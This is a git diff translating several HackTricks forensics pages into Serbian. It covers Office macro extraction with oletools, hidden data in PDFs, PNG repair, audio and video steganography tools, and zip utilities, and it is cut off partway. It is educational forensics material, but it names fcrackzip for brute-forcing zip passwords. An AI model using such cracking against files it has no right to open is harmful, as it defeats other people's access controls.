[**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Danas dobijte pristup: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: +Za dalje informacije proverite [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak: -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. +Microsoft je kreirao mnogo formata za office dokumente, pri čemu su dva glavna tipa **OLE formati** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formati** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu sadržati makroe, što ih čini metama za phishing i malver. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju kroz dekompresiju, otkrivajući hijerarhiju fajlova i foldera i sadržaj XML fajlova. -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. +Za istraživanje struktura OOXML fajlova, daje se komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na kontinuiranu inovaciju u prikrivanju podataka u okviru CTF izazova. -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE, tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimanje i izvršavanje dodatnih zlonamernih payloada. Analiza VBA makroa može se izvršiti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa prekidnim tačkama i promenljivim vrednostima. +Instalacija i korišćenje **oletools**-a su jednostavni, sa pruženim komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec` ili `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** podržane najnaprednijim alatima zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 4a0a11bae..7f4ba4ec8 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,52 +1,52 @@ -# PDF File analysis +# Analiza PDF fajlova
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**For further details check: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)** +**Za dalje detalje pogledajte: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)** -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. +PDF format je poznat po svojoj složenosti i potencijalu za prikrivanje podataka, što ga čini fokalnom tačkom za izazove forenzike CTF-a. On kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti komprimirani ili šifrovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da biste razumeli strukturu PDF-a, možete se referisati na Didier Stevens-ov [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origami-ja. -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: +Za detaljnije istraživanje ili manipulaciju PDF-ovima, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u: -* Invisible layers -* XMP metadata format by Adobe -* Incremental generations -* Text with the same color as the background -* Text behind images or overlapping images -* Non-displayed comments +* Nevidljivim slojevima +* XMP formatu metapodataka od strane Adobe-a +* Inkrementalnim generacijama +* Tekstu iste boje kao pozadina +* Tekstu iza slika ili preklapajućih slika +* Nevidljivim komentarima -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skripti za parsiranje. Takođe, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i protivmerama PDF-a, iako više nisu smešteni na originalnoj lokaciji, i dalje pružaju vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [tričarija u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertini-a mogu pružiti dodatno čitanje na ovu temu.
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 46a9656c5..eea7175ed 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,37 +1,33 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNG fajlovi** su visoko cenjeni u **CTF izazovima** zbog njihovog **bezgubitnog kompresovanja**, što ih čini idealnim za ugradnju skrivenih podataka. Alati poput **Wireshark-a** omogućavaju analizu PNG fajlova razlaganjem njihovih podataka unutar mrežnih paketa, otkrivajući ugrađene informacije ili anomalije. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +Za proveru celovitosti PNG fajlova i popravku oštećenja, ključan alat je **pngcheck**, koji pruža funkcionalnost komandne linije za validaciju i dijagnostikovanje PNG fajlova ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Kada su fajlovi izvan jednostavnih popravki, online servisi poput [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) pružaju web-bazno rešenje za **popravku oštećenih PNG-ova**, pomažući u oporavku ključnih podataka za učesnike CTF-a. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Ove strategije ističu važnost sveobuhvatnog pristupa u CTF-ovima, koristeći kombinaciju analitičkih alata i tehnika popravke kako bi se otkrili i povratili skriveni ili izgubljeni podaci.
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 135dd23f0..e3d2ff3bf 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,45 +1,41 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +**Manipulacija audio i video fajlovima** je osnova u izazovima **CTF forenzike**, koristeći **steganografiju** i analizu metapodataka za skrivanje ili otkrivanje tajnih poruka. Alati poput **[mediainfo](https://mediaarea.net/en/MediaInfo)** i **`exiftool`** su neophodni za pregledanje metapodataka fajlova i identifikaciju vrsta sadržaja. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +Za audio izazove, **[Audacity](http://www.audacityteam.org/)** se ističe kao vodeći alat za pregledanje talasnih oblika i analizu spektrograma, što je ključno za otkrivanje teksta kodiranog u audio formatu. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** se visoko preporučuje za detaljnu analizu spektrograma. **Audacity** omogućava manipulaciju audio snimcima kao što su usporavanje ili obrtanje traka kako bi se otkrile skrivene poruke. **[Sox](http://sox.sourceforge.net/)**, komandna linija, se odlično snalazi u konverziji i uređivanju audio fajlova. -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. +**Manipulacija najmanje značajnim bitovima (LSB)** je česta tehnika u audio i video steganografiji, iskorišćavajući fiksne delove medijskih fajlova za skriveno ugrađivanje podataka. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** je koristan za dekodiranje poruka skrivenih kao **DTMF tonovi** ili **Morseov kod**. -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. +Video izazovi često uključuju kontejnerske formate koji sadrže audio i video tokove. **[FFmpeg](http://ffmpeg.org/)** je alat za analizu i manipulaciju ovim formatima, sposoban za de-multiplexiranje i reprodukciju sadržaja. Za programere, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integriše mogućnosti FFmpeg-a u Python za napredne skriptabilne interakcije. -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +Ova paleta alata naglašava potrebnu fleksibilnost u CTF izazovima, gde učesnici moraju primeniti širok spektar tehnika analize i manipulacije kako bi otkrili skrivene podatke unutar audio i video fajlova. -## References +## Reference * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 16b905ce3..69bdb763a 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,44 +1,44 @@ -# ZIPs tricks +# Trikovi sa ZIP fajlovima
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Command-line alati** za upravljanje **zip fajlovima** su neophodni za dijagnostikovanje, popravku i probijanje zip fajlova. Evo nekih ključnih alata: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Otkriva zašto se zip fajl možda ne može dekompresovati. +- **`zipdetails -v`**: Pruža detaljnu analizu polja formata zip fajla. +- **`zipinfo`**: Lista sadržaj zip fajla bez ekstrakcije. +- **`zip -F input.zip --out output.zip`** i **`zip -FF input.zip --out output.zip`**: Pokušajte da popravite oštećene zip 